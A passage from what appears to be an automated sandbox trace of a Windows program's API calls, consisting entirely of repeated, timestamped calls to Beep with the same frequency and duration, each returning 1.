(dwFreq=0x26, dwDuration=0x1) returned 1 [0249.456] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.457] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.458] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.459] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.460] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.461] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.462] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.463] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.465] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.465] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.466] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.482] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.498] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.513] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.514] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.515] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.531] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.546] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.562] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.563] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.564] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.579] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.595] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.596] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.597] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.598] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.599] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.600] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.601] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.602] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.603] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.605] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.605] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.621] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.636] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.652] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.653] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.654] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.669] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.685] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.702] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.703] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.704] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.719] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.735] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.751] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.751] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.752] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.768] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.784] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.785] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.786] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.787] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.788] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.789] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.791] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.792] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.793] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.794] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.809] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.825] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.840] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.841] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.843] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.858] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.874] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.890] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.890] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.891] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.907] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.923] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.923] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.925] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.940] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.956] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.971] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.972] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.973] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0249.991] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.005] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.006] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.006] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.007] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.008] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.009] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.010] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.012] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.013] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.014] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.030] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.046] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.061] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.062] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.063] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.079] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.095] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.095] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.096] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.097] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.098] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.100] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.100] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.101] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.102] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.104] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.104] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.120] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.136] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.151] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.153] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.169] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.185] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.186] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.187] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.188] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.188] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.190] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.190] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.191] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.192] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.193] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.194] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.210] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.226] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.242] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.243] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.259] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.274] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.291] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.292] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.308] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.323] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.324] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.325] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.326] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.327] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.328] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.329] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.330] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.331] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.333] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.334] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.349] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.365] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.381] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.382] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.398] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.413] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.429] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.431] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.447] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.462] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.478] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.479] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.480] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.495] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.511] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.527] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.527] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.528] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.544] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.560] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.576] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.576] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.577] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.593] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.609] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.624] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.625] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.626] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.647] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.657] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.673] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.689] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.690] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.690] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.706] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.722] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.723] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.724] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.725] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.726] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.727] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.728] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.729] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.730] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.731] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.732] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.747] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.763] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.778] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.779] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.781] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.796] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.812] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.828] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.828] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.829] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.845] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.861] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.876] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.877] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.878] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.894] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.910] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.910] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.911] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.912] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.913] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.914] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.915] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.916] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.917] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.918] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.920] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0250.935] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.076] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.122] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.138] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.153] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.170] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.185] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.185] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.186] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.202] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.218] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.235] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.235] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.236] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.252] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.268] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.283] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.284] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.285] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.301] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.317] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.332] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.334] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.353] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.394] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.802] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.816] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.818] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.820] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.823] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.825] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.826] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.829] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.846] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.863] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.881] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.896] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.913] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.916] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.918] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.922] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.938] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0251.998] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.166] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.242] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.370] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.371] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.372] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.373] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.374] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.375] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.376] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.377] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.378] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.379] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.380] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.381] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.382] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.383] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.384] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.385] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.386] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.387] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.388] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.389] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.390] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.391] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.392] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.393] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.394] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.395] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.396] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.482] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.519] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.520] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.521] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.522] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.523] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.524] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.525] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.527] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.528] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.529] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.530] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.531] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.532] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.533] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.534] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.538] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.543] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.544] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.546] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.547] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.548] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.549] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.550] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.551] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.552] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.553] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.554] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.555] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.556] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.557] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.558] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.559] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.560] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.561] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.562] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.563] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.564] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.565] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.566] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.567] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.568] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.569] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.570] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.571] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.572] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.573] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.574] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.575] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.576] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.577] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.579] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.580] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.581] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.582] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.583] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.584] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.585] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.587] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.588] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.589] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.590] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.591] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.592] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.593] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.630] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.631] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.632] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.633] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.634] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.635] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.636] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.641] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.642] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.647] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.648] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.649] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.656] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.657] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.663] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.664] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.665] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.666] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.667] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.668] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.669] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.670] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.671] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.672] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.673] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.674] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.675] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.676] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.677] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.678] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.679] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.695] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.710] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.726] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.727] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.729] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.730] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.731] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.732] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.733] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.734] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.735] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.736] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.751] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.767] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.783] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.784] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.785] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.786] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.787] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.788] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.789] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.792] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.792] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.808] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.824] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.839] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.855] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.856] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.857] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.872] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.888] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.904] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.905] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.906] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.907] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.908] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.909] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.910] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.911] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.912] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.913] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.914] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.929] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.945] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0252.961] Beep (dwFreq=0x26, 